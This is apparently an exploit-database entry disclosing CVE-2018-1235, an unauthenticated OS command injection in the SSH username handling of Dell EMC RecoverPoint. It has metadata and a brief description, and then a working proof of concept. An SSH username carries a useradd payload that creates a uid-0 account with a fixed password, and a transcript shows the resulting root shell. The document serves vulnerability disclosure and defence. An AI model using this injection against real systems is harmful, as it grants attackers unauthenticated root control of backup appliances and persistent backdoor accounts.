Dell EMC RecoverPoint < 5.1.2 - Remote Root Command Execution
# Exploit Title: Dell EMC RecoverPoint < 5.1.2 - Remote Root Command Execution # Date: 2018-06-21 # Version: All versions before RP 5.1.2, and all versions before RP4VMs 5.1.1.3 # Exploit Author: Paul Taylor # Vendor Advisory: DSA-2018-095 # Vendor KB: https://support.emc.com/kb/521234 # Github: https://github.com/bao7uo/dell-emc_recoverpoint # Website: https://www.foregenix.com/blog/foregenix-identify-multiple-dellemc-recoverpoint-zero-day-vulnerabilities # Tested on: RP4VMs 5.1.1.2, RP 5.1.SP1.P2 # CVE: CVE-2018-1235 # 1. Description # An OS command injection vulnerability exists in the mechanism which processes usernames # which are presented for authentication, allowing unauthenticated root access via # the ssh service. # 2. Proof of Concept # Inject into ssh username. # N.B. combined length of new username+password is limited to 21 due to injection length limitations $ ssh '$(useradd -ou0 -g0 bao7uo -p`openssl passwd -1 Secret123`)'@192.168.57.3 Password: ^C $ ssh bao7uo@192.168.57.3 Password: Secret123 Could not chdir to home directory /home/bao7uo: No such file or directory root@recoverpoint:/# id uid=0(root) gid=0(root) groups=0(root) root@recoverpoint:/# |